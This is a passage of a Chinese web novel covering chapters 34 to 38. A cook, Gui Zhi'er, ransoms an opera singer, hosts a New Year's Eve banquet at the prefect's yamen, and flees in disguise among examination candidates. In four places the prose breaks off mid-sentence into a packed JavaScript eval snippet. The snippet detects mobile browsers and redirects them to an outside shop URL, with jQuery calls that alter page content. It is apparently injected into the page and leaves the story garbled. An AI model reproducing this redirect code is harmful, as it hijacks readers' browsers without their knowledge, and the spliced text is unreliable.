“看来赎你的人，只要能压过蔡统领一头，就没问题。”桂枝儿抬手托腮，不自觉地摩挲着下巴。 柳千金微微叹了口气，不敢奢望。 戏子是市井中低贱的下九流。 比那挑担走四方的剃头匠，吹鼓手或是喇叭匠，甚至赌场的帮闲都要略逊一筹。 往往自小被卖到勾栏瓦舍，跟着领班学童子功。 “世人都嫌弃戏子出声不好。”她靠在梨花椅上，美眸半眯着回忆过往，“其实奴家祖籍离杭京不远。” “那年遭了水灾逃难，爹娘病重，为了让我有口饭吃，活下去，只好卖给人牙子。” 年幼的她瘦得像根豆芽，完全看不出日后国色天香的迹象，买家对此颇为嫌弃。 几经流转，才被卖到北境。 柳千金微微侧过脸，平日里顾盼生辉的一双桃花眼，此刻却满是惆怅。 她没说出口的是，那年滂沱暴雨如鞭，大人们都说为保杭京，只能开闸泄洪。 这才冲了屋瓦，淹垮了家。 她就想亲自去京城看一看，那里究竟有多繁华？有多少朱紫公侯，掌握生杀予夺大权。 只一句话，普通农户便家破人亡。 34. 齐心协力 “你看这样如何？”桂枝儿招招手，示意柳千金凑近，“我听说领班妈妈，给你们哥儿姐儿都埋了陈年旧酒……” 一番耳畔轻语后，柳千金不自觉地坐直了身体，一双美眸瞪得溜圆，满是惊愕。 她手中的帕子悄然滑落，却全然未觉。 “这要是露馅了……”她咬了咬牙，心有犹豫。 “顺利的话，那时候咱们已经过了楚淮河。”桂枝儿给她吃了一颗定心丸。 “好，那奴家就赌一把。”她微微扬起下巴，樱桃秀口直言，像是在对未知的命运宣战。 计划第一步，达成。 敲定好方案细节后，桂枝儿谨慎地离开邀月楼，接下来，她还需要一位送信人。 黑暗褪去，黎明悄然到来。 腊月的北境，凛冽寒风呼啸着席卷过广袤大地。 天空阴沉，似乎随时都会有鹅毛大雪落下。穿着厚厚棉衣的老人，正精神抖擞地挑着担子行走。 过了腊八就是年，新禧序幕已经拉开，年味儿一天比一天浓。 这样的日子，这样的温度，若不是要去凌河县看闺女与郎婿一家，他才不会出门。 “翁公，翁公留步！”桂枝儿小跑赶来。 呵气成霜，呼出的字在空气中化作一团白色雾气。 她提着棉裙下摆，裙面上绣梅花，袖口镶一圈细密的兔毛，洁白如雪，又添几分娇俏。 “翁公，麻烦您帮刘大人带个信，交到凌河县县衙——骆县令手上即可。”桂枝儿道。 她诚恳地笑着，拱手作揖。 “老夫领的是看门人的饷银，又不是信差。”老人嘟嘟囔囔，不大满意。 原是府衙看门的豆腐翁，接到分外活儿免不了絮叨两句。 “年关将近，告假的官差越来越多，只得辛苦您代劳。”桂枝儿从怀里摸出一个制作精巧的小玩意儿。 “咚咚咚”，发出清脆欢快的声响。 是拨浪鼓。 鼓的两侧坠着两颗木质弹丸，系有彩色丝带，精巧别致。尤其鼓身鲜艳的绘图，全然不似北境市集出售的那般粗糙。 随着鼓柄在手中灵活转动，豆腐翁笑出了满脸褶子。 “给您小孙子耍着玩。”桂枝儿适时补充一句，便万事大吉。 毕竟，连管家都再三嘱咐，桂小娘子是知府大人的座上宾。 豆腐翁自然不疑有他。 冬日，树木被未融化的冰雪包裹，不堪重负，有的甚至被积雪压得嘎吱作响。 桂枝儿站在空旷的街道中央，深呼一口气。 现在只剩最后一件事。 准备一顿丰富多彩、官民同乐的三十晚上年夜饭，一场盛大的流水席。 中心府城从无先例。 把家宴摆在新修缮的府衙，邀请不能回家过年的“客人”。 轮值守城的士兵，鳏寡孤独的老幼，背井离乡的官员……共同度过温情的守岁夜。 “桂小娘子，你真适合当个女官！”听闻这项计划的管家大为惊叹。 说是体恤民情也好，说是收买人心也罢。 一顿百家宴，绝对是个好点子。 “她总是想法奇特。”听到管家汇报后，刘善渊停下手中作画的笔，微微一笑。 许久未提笔，技艺有些生疏。 墨与宣纸在方寸间，勾勒出一个妙龄女子的五官，大片留白显得纯净自然。 浓眉挺鼻，英姿勃发，一双眸似秋水长天。 管家撇了一眼便低头不敢再看。 “她提什么要求，你酌情满足。”刘善渊搁笔凝思，对桂枝儿的计划进行补充。 “万不可贻误城防，年末加强巡捕治安，同时让理事配合查调户籍人口。” 管家一一记下，点头称是。 事无巨细的人员调度，就差手把手教导她怎么办一个大型活动了。 管家觉得，大人这是决心要把桂小娘子收入麾下。 白丁从政，首要的就是积攒声望。 当事人并不知道，自己已经被安排得明明白白。 “一棵白菜，两颗白菜……”桂枝儿正弯腰在地窖里清点存货。 白菜紧密相依，表面的叶片微微泛黄，是长时间存放所导致的。 “唰啦。”剥开最外层，包裹结实的菜心鲜嫩依旧。湿气在表面凝结成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712109|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水珠，看起来水灵灵的。 囤大白菜是北境人迎接冬天最大的仪式感。 因为边境水陆舟车不通畅，冬日菜畦荒芜，想吃新鲜蔬菜，只能用窖藏的方式。 “烂肉白菜、肉丸白菜粉丝汤，大锅菜就得热气腾腾。”桂枝儿胸有成竹。 在系统给的压力下，她对如何刷任务进度有了新猜测。 这次年宴，即可验证。 当然最重要的，是让知府大人放松紧惕，然后趁乱跑路。 “咚咚咚。”桂枝儿刚把白菜搬出来，就听到敲门声。 “桂小娘子，听说你要烧大锅年夜饭，咱家还有些豇豆角，你看用得上不？” “俺村里二大爷杀猪，送了点烟熏腊肉。” “咱没啥拿得出手的，小娘子你要找人帮忙的话，只管招呼婶子。” 爱凑热闹的百姓挤满了店面，他们当中，甚至部分人没有余钱打牙祭。 但多少享受过桂枝儿的“新品免费试尝”。 桂记卤味店，已经成了中心府城的美食活招牌。 “多谢捧场！”桂枝儿一一接过。 她眼眸明亮，弯成两轮月牙，绽出如花般的笑靥。 “虽然年三十儿，宴请的人有限，不能招待大家上桌。”桂枝儿笑道，“但是——” 她顿住，神秘兮兮的表情把众人的好奇心勾到了顶点。 “承蒙知府大人恩典，将举行花车游街！” “哇！！！” 平民的生活其实很乏味，日日囿于春耕秋收，或是追逐蝇头小利。 每年除去税银，所剩无几。 衣食住行，样样都要花钱，类似去邀月楼看戏，那是富人专属的娱乐。 “新任知府是个好官，今年一定也是个太平年。”类似的赞颂声不断。 除夕就在万众期待中到来。 白天，家家户户忙碌着清扫庭舍，除旧布新。祭祖宗、挂桃符、换新衣，忙碌但喜悦。 “阿龙阿虎，你们别给老娘乱跑！”前几日就忍不住穿上新棉鞋的妇女，今天更是精心梳妆。 她放下笤帚，叉着腰喊道，“花车就快来了！” 35. 除夕夜逃 “噼里啪啦，噼里啪啦。” 一束头鞭放过，打头的花车驶来。 刘善渊身着崭新的棉袍，颜色浓郁热烈，将原本白皙的面庞衬得颇有红润气色。 “吉祥如意，福寿安康。”他一边拜着早年，一边洒出红封。 仅仅一个铜板，专给那些虎头虎脑的男娃娃和小闺女。 男子衣摆绣云纹，腰系绸带，脚蹬黑靴，纵使头顶夹杂白发，整个人亦精神抖擞。 完全看不出任何官僚架子。 “天哪，是新来的知府大人！” “俺绝对没看错，就是飞刀杀了达奴人的那个知府大人。” 不同于前任马知府爱躲清闲，勤于政务的刘善渊在中心府城颇有辨识度。 刚上任就组织民兵自卫队，痛击侵略军，而后整修府衙，开庭堂审。 赞一句深得民心不为过。 “快接来，给大人磕头拜年。”妇女推搡着认生的小儿，笑得眼角开了花。 知府亲手送的红封，能吹嘘一整年。 绕城的花车各个张灯结彩，气氛热烈。 “铮铮”是铜锣发出的响亮撞击声，金光闪闪的巨龙在簇拥下蜿蜒而出。 巨龙时而盘旋，时而俯冲，舞龙表演将喜庆氛围烘托至顶点。 此时的中心府衙，也在为晚宴做准备。 “桂小娘子，你怎的就不肯跟老爷一起游城呢？”管家憋不住问道。 桂枝儿今日所着，是刘善渊特意为她定制的新衣。 绯红的棉袍与石榴裙极为惹眼。 那裙不仅晕染颜色好看，表面还打满细折，穿裙人行动起来，形成水波样貌的曲纹。 正是杭京眼下最流行的款式。 若与刘善渊并立，似牡丹灼灼，贵气逼人。 桂枝儿正专心于汆烫瘦肉。 “咕嘟咕嘟。”沸水滚出的气泡剧烈翻腾，蒸汽汹涌而出，在空气中扭曲，模糊了她的面目。 “民女就不瞎凑热闹了。”桂枝儿手微抖，酱汁、盐、霜糖依次被抛入高汤。 怎么能叫瞎凑热闹呢！ 管家痛心疾首，暗探有报，凌河县那帮兵痞竟敢偷偷称呼桂小娘子为小将军夫人。 真应该让他们看看，小娘子与老爷才更为相配。 桂枝儿贝齿微露，笑起来有几分羞涩。 她示意帮厨将灶台改为小火，麻利地剁碎白菜、香菇和葱段。 “您是喜欢叉烧排骨、酥炸排骨，还是辣味芝麻骨？”她转移话题道。 排骨哪有老爷重要。 管家刚准备打破砂锅问到底，脑海中却不自觉浮现了一盘喷香扑鼻的菜。 但见那排骨色泽红亮，浓稠的酱汁裹着酥脆外皮，仿佛咬一口便会有“咔嚓”声。 “奴才觉得都挺好！”管家咽了口唾沫。 冬天日头短，半个时辰前，天际还残存着柔和的橙红色光芒，现下已经变得暗沉。 “把灯笼都点亮挂好，仔细烛火。” “提前来的财主老爷们，都邀进里屋，待知府大人落座就点上火锅。” “外院老幼那桌，凡是饺子里吃到去核红枣的，都发红封。”管家不停歇地发号施令，“先给轮班来的守城军士们传菜！” 一条清蒸鱼，当中一摆。 鲜嫩的鱼肉上，撒了葱丝、姜丝和红椒丝，淋过滚烫的热油，“滋滋”作响。 “岁末吃鱼，吉庆有余！”传菜人扯足了嗓子。 “好！”血气方盛的守城兵们相当捧场，恨不得甩开膀子吃。 前院摆满了糖画、剪纸、面人、彩绘等零零碎碎，猜中灯谜的锣声接连响起。 “在府衙过大年”遂正始，欢笑之声不绝。 “管家，焖猪蹄还缺一瓶陈年花雕酒。”桂枝儿提着锅铲跑出来。 为保证流水席菜肴不断，她额头已有细密的汗珠。 “这……我想想。”管家有些为难。 刚到北境不久，库房品类难免不全。老爷平日里好喝茶，囤的也多是好茶，酒还当真少见。 再说，赶上大年三十，酒铺肯定关门歇业了。 “邀月楼还热闹着呢。”桂枝儿指出一条明路，“要不麻烦您走一趟？” 她嘴唇微抿，牙齿轻咬下唇，略显扭捏为难地说道：“酒是好酒，可老鸨只卖贵客。” 管家一瞬间心领神会。 这种风花雪月的场所，总爱搞些噱头。 不过是筛选三六九等人，把掏不出银子的平民拒之门外。 中心府衙要买酒，便没有不卖的道理。 “多谢您。”得到肯定回复的桂枝儿，脸上绽放出春花般绚烂的笑容。 她极其自然地拔下头上一支金簪，簪首是栩栩如生的凤凰，正展翅欲飞。 凤凰双目镶嵌湛蓝宝石，明显价值不菲。 “再劳烦您，顺便请一下花魁柳千金。”桂枝儿狡黠一笑，“让她来唱一首新岁祝词。” 好宴需得美人配。 簪子即为信物，桂记卤味店来年的堂食名额优先给花魁预备着。 唱首小曲儿助兴，自是小事。 安排妥当后，桂枝儿又赶忙返回后厨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712110|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 炉灶内，柴火熊熊。 一只铁叉上串着油光发亮的烤鸡，在高温炙烤下，逐渐变得金黄，滋滋冒着油花。 “婶子，可以刷酱料了。”桂枝儿面上一派轻松，心里却忐忑不安。 不知计划能否顺利。 鸡皮烤得酥脆，香料渗透到鸡肉纹理之中，变得鲜嫩多汁。 取出炉灶时，有一点柴火迸溅。 “小心。”一个温热的怀抱从后身环住桂枝儿，帮她握紧了铁叉。 桂枝儿回头，怔住片刻。 “不说君子远庖厨吗？”她笑着调侃道，而后灵巧地闪身躲开，将烤鸡放置进瓷盘。 来的是结束游城的知府大人。 刘善渊肩头沾了红鞭碎屑，眸若星辰，谪仙一般的人竟平添了几分温婉的烟火气。 “小娘子的厨艺太好。”他轻声喟叹，“以至于君子见其死，顿觉死得其所，忍食其肉。” “噗。”桂枝儿被冷笑话逗乐，“看来大人缺乏仁心。” 她心情舒展，将几片翠绿的生菜叶垫在盘底，刻成花朵状的胡萝卜，点缀在烤鸡周围。 最后，淋上棕色的烧烤酱与浓稠的番茄汁。 “本官得去赴宴了。”刘善渊顿了顿。 脚却没有挪动半步，眼神紧盯着桂枝儿忙碌的背影。 宴席累的是心，虽佳肴罗列、珍馐满桌，却不如在此自在。 “单独给您做几道清单的菜。”桂枝儿状似不经意般，随口一提。 还不等刘善渊嘴角上扬，又补充一句。 “正月里，民女拟为夫君祈祥福佑，等到初十店铺开张，再邀大人。” 刘善渊眉梢眼角闪过一丝戾气。 他双眸似寒潭，却只“嗯”了一声，跨步离开。 待到宴后，定要让管家好好查查她那挂在嘴边的夫君。 死为善，若生，则最好变成“亡夫”。 随着状若银元宝的白面饺子，一盆盆端上桌，年夜饭临近尾声。 “更岁交子，广纳钱财，元宝滚滚来！”传菜人一声吆喝。 精神矍铄的老人面含慈笑，年幼者在一旁蹦跳雀跃。 “嘀，系统提示：任务进度98.5%。” 岁序更新，华章再启，龙行遍观大梁景，梦圆北境祥和年。 今夜太平长安。 在承朔四年，冬末春初的第一个深夜，一辆马车正悄无声息地向南城门驶去。 天幕沉沉，高悬的月亮也显得暗淡无光。 “别紧张，姐姐，把路引拿出来。”沉着冷静的女声道。 36. 昧下银票 今夜，兵卒饱食盛馔。 轮值者多被调往北城门，严防梅山以北的乞颜乌什部落突袭。 小兵丁勇正在南门替班，他身子向后依靠着长矛，摇摇晃晃，困得眼神迷离。 城墙根下，门洞幽深。 “这位军爷，劳烦您开个偏门。” 一道婉转如黄鹂般的声音遥遥传来，酥软娇媚。 小兵丁勇迅速从昏昏欲睡的状态中抽离，抬眼看去。 只见那掀起马车帘的女子，一双桃花眼春色无边，头带凤凰欲飞金簪，罗裙摇曳。 “哎？姑娘不是……”小兵丁勇揉了揉眼睛，感觉有点面熟。 对，没错，一个时辰前他还见过呢。 女子在中心府衙，为众人抱着琵琶弹唱新岁祝词，如仙乐袅袅。 小兵丁勇当时看得目不转睛，连丸子汤都弄撒了。 “奴家来自邀月楼。”柳千金递上路引，“恰好凌河县令大年初一想观演，这才连夜出发。” “哦哦。”小兵丁勇困意袭来，忍不住打了个哈欠。 他左手接过路引查看，右手提起灯笼，模糊的光线昏黄黯淡，照在纸上摇曳不定。 腊月，二十简称为廿日，三十为卅日，只需妙笔勾连，便能将旧路引翻新。 而十日前，她确曾应邀去洛县令府上赴宴。 柳千金紧张地屏住呼吸。 “可是……”小兵丁勇突然想起什么，脸上逐渐显出为难之色，目光游移不定。 直属上官蔡统领有令，花魁出城，必须第一时间拦截上报。 “军爷，有何不妥？”柳千金语气不变，只是葱白手指在袖下微微抓紧，泄露了内心的不安。 “辛苦军爷，咱这府衙户籍处的手续完备，两边长官也都打过招呼。” 赶车的铁塔大汉，凑过来压低嗓子道。 他身形魁梧，虬髯浓密，不由分说将一张小额银票往丁勇怀里塞去。 “不不，并非此意。”丁勇吓了一跳，赶忙推拒，脸涨得通红。 “福气盈门。”铁塔大汉不肯收回，嘴上连连说着，“新岁图个好彩头。” 拉扯间，丁勇拗不过，便按规矩登记在册，放两人通行。 事毕，丁勇侧耳倾听。 “鼾鼾，呼哧呼哧。”搭班老兵们在岗亭内，呼噜声打得震天响。 夜阑人静，再无他人。 他小心翼翼地昧下银票，内心忐忑但欣喜。 都攒着，先给老兵什长家的寡母送去。 再给小沿村的杏花姑娘，也买个花魁这样金光闪闪的簪子。 “真要追究起来，就说忘了。”丁勇撇撇嘴，盘算道。 蔡统领仗势欺女，丢的是第三军的脸面，手底下对他有意见的大头兵多着呢。 马车驶过南城门。 “嘚嘚”的马蹄声格外清晰，车轮滚滚碾压，偶尔磕碰，便会引来一阵颠簸。 赶车的铁塔壮汉紧握缰绳，全神贯注地驾驭着马车。 “奴家的心刚才都快跳到嗓子眼了。”柳千金后怕地拍着胸口，“去了凌河，咱们该怎么办？” “放心，自有接应！”应答清爽干脆。 赫然是桂枝儿的声音。 若论变装易容，知府大人还嫩了点。 承朔四年初，老天爷偏爱北境。 自乞颜乌什部落三公子——乌什拓跋真被割首后，无论地属开阔平原的凌河，还是毗邻梅山的府城，全境戒备。 不料达奴人因劫掠失败、物资匮乏，内部先起冲突。 既无战乱之忧，又逢新岁之喜。 “春雨贵如油。老爷，河开雁来、枯木逢春，预兆着好年景啊！” 管家一边絮叨，一边为刘善渊研磨。 适逢雨水节气，若在江淮以南，定已是田野青青的早春风光了。 可在寒冷的北境，也仅是飘了几滴毛毛雨。 刘善渊揉了揉额角的阳白穴，叹了口气。 正月初，除了应付拜年祭祀，还要从堆积如山的案牍中，梳理出北境积贫积弱的根源。 他双眸澄澈而深邃，随着右手轻执的羊毫笔挥动，墨迹在纸上蜿蜒。 穷则变，变则通。 但若贸然实行改革，只怕会触动很多人的利益。 “今日初十？”他搁下手中笔杆。 “是，奴才突然想起来，桂小娘子的店也该开门迎客了。”管家揣度主子心意，接话道。 “去看看。”刘善渊起身，披上毛皮大氅，显得沉稳而庄重。 桂记卤味店前，雨水打湿门头悬着的旗子。 布帜微微晃动，水珠在空中划过晶莹的弧线，但门前却无任何挂牌营业的迹象。 “桂小娘子？”管家拍了拍门扉。 刘善渊在毛毛细雨中，长身鹤立。 头发用一根简单的玉簪束起，眉如远山，微微蹙起，脑海中思绪万千。 暗探没查到关于她夫君的任何线索。 或许，想推行新政，也可和她探讨一番，人头税与田赋税何以善分…… “小娘子会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712111|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会出门了？”管家敲门敲得手酸。 因桂枝儿明显不喜有人跟踪，老爷早就下令秘密撤掉暗探。 左右都在境内，翻不出什么风浪。 千万别是……偷偷跑了吧？ 管家觑了一眼刘善渊的脸色，暗觉不妙。 “从后院进。”刘善渊的语调不辨喜怒。 他绕过院墙，长袖一甩，足尖轻点便翻了墙头。 落地后，驾轻就熟地穿过小院，径直推开虚掩的后厨房门。 灶台空荡荡的，无论柴米油盐还是锅碗瓢盆，俱已消失不见。 有一封信留在案板上。 素纸制成的信封色泽微黄，以红火漆封印。 正面似是用炭笔书写，字体歪七扭八——“知府大人亲启”。 刘善渊只一眼，便辨别出这独特的字迹，将信封轻轻拈起。 信笺上书：“烧制水泥需高温助燃。 壹，窑洞里的木炭，可换煤炭，用以提高炉温；贰，新式木风箱的设计图如下，能够增加气体；叁，长期吸粉尘有害，务必罩住口鼻以防肺痨。” 翻开背面，另有几个大字： “我走了，勿念。” “呵。”刘善渊星眸含怒，睫毛在脸上投下淡淡阴影。 骨节分明的手指，白皙而有力，捏得纸张边缘扭曲。 “跑得比兔子都快。”他勾起嘴角，带着一丝嘲讽与无奈，“还不派人去追。” “是，老爷息怒。” 三日后，黎州城外郊野。 东风初至，携三分料峭，七缕生机。田野间有新绿点点，那是嫩草悄然探出脑袋。 “文景兄，我们已到东鲁境内了。” “按舆图所示，绕过前面的花山岗即可进城。” 赶考举子挤在两辆驴车上，身负行囊，人人面含憧憬。 其中被称为文景兄者，乃是凌河县天宥年间举子，王蒲。 他身着青素色长袍，斜背竹杖，背脊挺拔如松。 三年又三年，这是他第三次进京赶考。 王蒲手中紧紧握着书卷，正孜孜不倦地诵读圣人言。 “子曰，信近于义，言可复也……” 大梁科举取士，不仅考帖经、策论，还有诗赋、文律等。温书时，需面面俱到。 “吁——”快马加鞭的暗探如同疾风，飞驰而来，厉喝道，“前面的人站住！” 暗探们头戴黑色斗笠，用宽大的帽檐遮挡大半张脸，只露出锐利的鹰眼。 “奉命捉拿女逃犯！” 37. 赴京赶考 众考生丝毫不惧。 拥有“举人”名头，不仅平日里可免除赋税、徭役，即使犯罪，县衙也不能轻易动刑。 王蒲放下书卷，抽出身后竹杖。 他起身下了驴车，左脚微微拖拽，竟是跛足。 王蒲上下打量暗探，见其确实有知府令章，这才拱手行礼：“不知捕头追的是何逃犯，我等均为凌河县考生，赴京赶考。” 通关路引乃凌河县令签发，上有骆嵩延县令大印。 一张米黄色的纸，内容详尽，包括考生十五人、车夫三人、监学一人、随从一人。 王蒲身体微微摇晃，用竹杖保持着平衡。 暗探目光如炬，扫过一览无余的驴车，最后将眼神停留在马车上。 马车垂着厚厚的帘子，由深色锦缎制成，在寒风中摆动，隐约能看到两个模糊的身影。 “此乃女书生。”王蒲伸手阻拦。 女考生如幽兰之在谷，端坐帘内，怎可轻慢。 其余诸考生，也多自驴车而下，与暗探形成对峙之态。 “为何拘捕令上不见逃犯画像？” “总该有个姓名吧？” 众人神色凝重，目光坚毅，有的握拳而立，有的议论纷纷。 “无可奉告。”暗探环顾四周，向下压了压斗笠。 又见考生众多，迟疑半晌，向后退了两步，不敢轻举妄动。 僵持中，马车帘“唰”地掀开。 “诸位，我们可是你要抓的人？”两位女书生神色坚毅，毫无惧色。 大梁不禁女子考学，甚至设有专门考场。 在搜身、如厕时有适当关照。 暗探见其态度强硬，也是一愣。 再细观样貌，一位泼辣圆润，一位纤细娇弱，与大管家所交待的，并无相似之处。 只得致歉道：“多有冒犯。” 已至东鲁边境，再搜查便越界了。 “嘶——”骏马一声长鸣，暗探翻身上马，缰绳一抖，“原路返回！” 马蹄扬起尘埃，头戴黑色斗笠的身影渐行渐远。 “搞什么，真是胡闹。” “平白让姑娘们受惊，文景兄，你看这些……” 众考生义愤填膺，适才既忐忑又担忧，现在少不得要发泄几句。 “慎言。”王蒲收回竹杖，打断道。 倘若暗探留有耳目，不合时宜的话传到背后官吏处，平添罗乱。 他叹了口气，略显艰难地登上驴车。 “木犀先生，我等是在此休整，还是继续前行，绕过花山岗进城？” 王蒲拱手问道，姿态恭敬。 “呲。”有考生嘴角轻撇。 倒不是针对王蒲，而是针对这位木犀先生。 作为凌河县令指派的监学大人，他完全不够格啊！ 请教他经书诗律，一句话就给打发了——“书读百遍，其义自见。” 若问行程食宿，也是一句话——“你们看着办。” 此刻，木犀先生懒散地靠在驴车边缘，头戴毡帽，嘴里叼着两根干草，身穿蓝色交领旧棉袍。 他五官甚是粗犷，坐姿亦是不雅。 众考生与暗探对峙时，他连屁股都没挪一下。 也就王蒲古板，恪守着尊师重道的理念，凡事都要让先生同意。 众人已经能猜到木犀先生会怎么回复了。 一摇头，一摆手，再说一句…… “歇会儿吧，我看山间野兔挺多，不如抓几个尝尝。” 出乎意料，木犀先生竟然换说辞了。 “啊？哦，遵先生之意。”王蒲也是一愣，但很快反应过来，“大家原地休整。” 早春寒意料峭，拂过的风中带着丝丝冷意，但已不似北境冬日那般刺骨。 冰河初解，木犀先生与随从远离众人，在河边弯腰淘洗。 “那些探子不会再追查了吧？”随从脸上有胎记，色若赤褐，将绝美容颜遮盖了几分。 她清了清嗓子，从稚童声变回婉转莺啼。 对戏子来说，伪声是基本功。 “不会，北境的手还伸不了这么长。”木犀先生答道。 他在丛林捡起一根木杆，用丝线连接竿与弯钩，再用蚯蚓投饵诱鱼。 手一挥，钓线便随之甩出，在空中划过一道弧线，活如灵蛇。 “奴家就说你是妖精吧。”随从嘟嘟囔囔，“能幻化出不同的形状。” “这叫易容，跟你们唱戏化妆是一个道理。”木犀先生把钓鱼竿塞到她手里。 只不过追求逼真，用的是系统兑换的伪人皮。 木犀先生，也就是捏造假身份的桂枝儿，看着河水潺潺流淌，心旷神怡。 “你来钓几条鱼。”桂枝儿舒展筋骨，拿出刚才戒备时偷藏的袖里箭。 “我去射几只野兔，加个餐。” 一路上听这些文弱书生念之乎者也，啃干粮，从脑袋到胃都疼。 踏入东鲁，终于宣告此次“逃亡”的成功。 腊月底，柳千金将自己攒的巨额银票，借中间人之手，交与老鸨，并暗示有高官愿意买下她。 “赎身一事，大人物不愿张扬。”柳千金玉手轻拈胭脂盒，粉末在指尖轻颤，“以金簪为信。” “你要是真有前途，妈妈不拦着。”老鸨双目微眯，心中仍有猜忌。 她迅速盘算了一圈。 蔡统领那个穷鬼，不仅身上捞不到油水，还耽误邀月楼做生意。 唯一担忧的就是他手下有兵，在府衙说得上话。 “来一坛陈年花雕酒，顺便，请花魁姑娘去府衙唱首新春词助个兴。” 当老鸨看到管家手中的凤凰金簪时，一切疑虑烟消云散。 原来是知府大人要赎她！ 邀月楼为哥儿姐儿们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712112|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，都埋了陈年旧酒。 上好的花雕，是香气馥郁的女儿红，当戏子被赎身时，用以成亲宴请。 老鸨堆起笑脸，三步并做两步跑上楼。 “我的心肝儿，你何时攀上了知府大人的高枝儿？”老鸨声音尖利，又带着几分谄媚。 “卖身契。”柳千金放下罗扇，伸手。 她云鬓珠翠环绕，面如桃花，下巴高昂，神态尽显骄纵。 “哎呦，这就给你。”老鸨忙不迭地交出来。 还指望柳千金入府后，能为她讨些好处呢，老鸨狭长的双目上挑，着一抹世故与精明。 腊月底，桂枝儿拦住了去凌河县看望闺女与郎婿一家的豆腐翁。 “翁公，麻烦您帮刘大人带个信，交到凌河县县衙——骆县令手上即可。” 刘善渊曾为桂枝儿解惑，骆县令为何送礼？ 因他急于回南林府衙，而年度政绩考核里，钱粮赋税、纳贤取士、长官态度悉为要点。 这封信完美抓住了骆嵩延的心思。 “察汝对春闱之重，甚为满意。乃遣一监学，随今岁之考生赴京。” 文绉绉的话，桂枝儿不大会润色，好在骆嵩延也是个知名草包，能看懂即可。 果不其然，骆嵩延听说是知府大人的门房传信，深信不疑。 “许是那幅名画，送得对大人胃口。”骆嵩延抚着长须美髯，来回踱步，“也少不了桂小娘子的美言。” 兴奋冲昏了他的头脑。 进京，路引须有主政长官签字。 骆嵩延挥墨盖章，一气呵成。北境的举子们，因路途遥远，连在家乡度过上元节的时间都没有，正月初八便要启程。 由此，一路顺遂。 阳光洒在水面，波光粼粼。山野中，土地渐次苏醒，泥土散发着清新气息。 桂枝儿执弓搭箭，瞄准。 野外的兔子机警异常，双耳高竖，随时准备逃窜。 毛茸茸的白团子尾巴低垂，鼻息轻动，嗅闻是否有异常气息。 “嗖。”破空之声骤起。 兔儿还没来得及逃窜，箭已至其身。只一瞬间，中箭倒地的兔子抽搐几下，便不再动弹。 “烤兔、烤鱼，再捡些浆果。”桂枝儿满意地点头，“差不多了。” 马车边，众举子抱怨连连。 他们大多身着长袍，束发戴冠，现在却要弯腰拾柴火。撇下满地薪柴后，累得连喘粗气。 “文景兄，你就不该好心答应帮忙。”举子擦了擦额头上细密的汗珠。 “对啊，大家都吃干粮多好，眼看就进城了。” “谁会处理野味，掌握火候……” “理当尊师重道。”王蒲蹲下身，将柴火排列好，长枝与短枝分开，粗干与细条归类。 他倒是有耐性，但心底也在疑惑。 这木犀先生，该不会想一出是一出吧？ 38. 科举三问 王蒲与众举子储备的干粮很简单。 首先是厚实的麦面大饼，上面撒些芝麻，咬一口，虽有干噎之感，但很顶饱。 “尝尝我这炒米。”有书生笑着分享，炒米轻便，能嚼食也可煮粥。 “多谢，这几块肉干大家拿去分一分吧。”适才被保护的两位女考生，也投桃报李。 肉类经过腌制后晒干，别看它咸腥，其价可不贱。 突然，有人吸了吸鼻子，闻到一股独特的香气。 转头看去，只见篝火熊熊。 几只野兔和鱼被木棍串着，放置在火上，烤炙声滋滋作响。 野兔皮毛已褪，在火焰的舔舐下，嫩肉逐渐泛出金黄色。鱼鳞亦是变得酥脆，表皮微微卷起，露出纹理清晰的新鲜的鱼肉。 “嗞啦。”这是油脂渗出，滴落在火中的声音。 香气随之四溢，弥漫在空气中。 “咕嘟。”书生忍不住咽了一口唾沫。 他低头看看自己手中的麦面大饼，硬着头皮塞了一口。 君子不溺于口腹之欲。 只得如此安慰自己。 “木犀先生带了这么多行李吗？”其中那位泼辣圆润的女书生，目光敏锐。 左右视线偷偷摸摸地汇集，齐聚篝火。 但见先生解开行囊绑带。 